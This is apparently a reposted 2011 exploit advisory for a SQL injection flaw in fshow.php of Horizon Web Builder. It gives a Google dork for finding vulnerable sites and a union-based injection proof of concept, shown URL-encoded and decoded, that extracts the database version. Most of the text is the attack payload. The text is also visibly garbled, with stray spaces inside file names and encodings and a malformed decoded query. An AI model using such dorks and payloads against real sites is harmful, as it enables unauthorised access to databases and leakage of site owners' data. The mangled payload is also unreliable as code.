Horizon Web Builder (fshow. php) SQL Injection Vuln

Horizon Web Builder is a Web generation system developed using PHP. The fshow. php In Horizon Web Builder has the SQL injection vulnerability, which may cause sensitive information leakage.

[+] Info:
~~~~~~~~~
Horizon Web Builder (fshow. php) SQL Injection Vulnerability
# Google Dork: intext: "Site by Horizon"
#: Inurl: "uid = HORIZON3"
# Date: 03/05/2011
# Author: Iolo Morganwg
# Category: Web App
# Version: PHP
# Tested on: Windows XP
# Vendor: http://www.horizonsolutions. TV/
# Notes: Both params are vulnerable to union based sqli

[+] Poc:
~~~~~~~~~
# Encoded (URL) Example
/Fshow. php? Uid = HORIZON3 & men =-4649% 27% 20 UNION % 20ALL % 20 SELECT % 20 CONCAT % 28 CHAR % 2858% 2C119% 2C117% 2C97% 2C58% 29% 2 CIFNULL % 28 CAST % 28 version % 28% 29% 20AS % 20 CHAR % 29% 2 CCHAR % 2832% 29% 29% 2 CCHAR % 2858% 2C99% 2C105% 2C99% 2C58% 29% 29% 20

# Un-Encoded Example
GET/fshow. php? Uid = HORIZON3 & men =-4649 UNION ALL SELECT
CONCAT (CHAR (58,119,117,), IFNULL (CAST (version ()
CHAR), CHAR (32), CHAR (1.1, 58) # HTTP/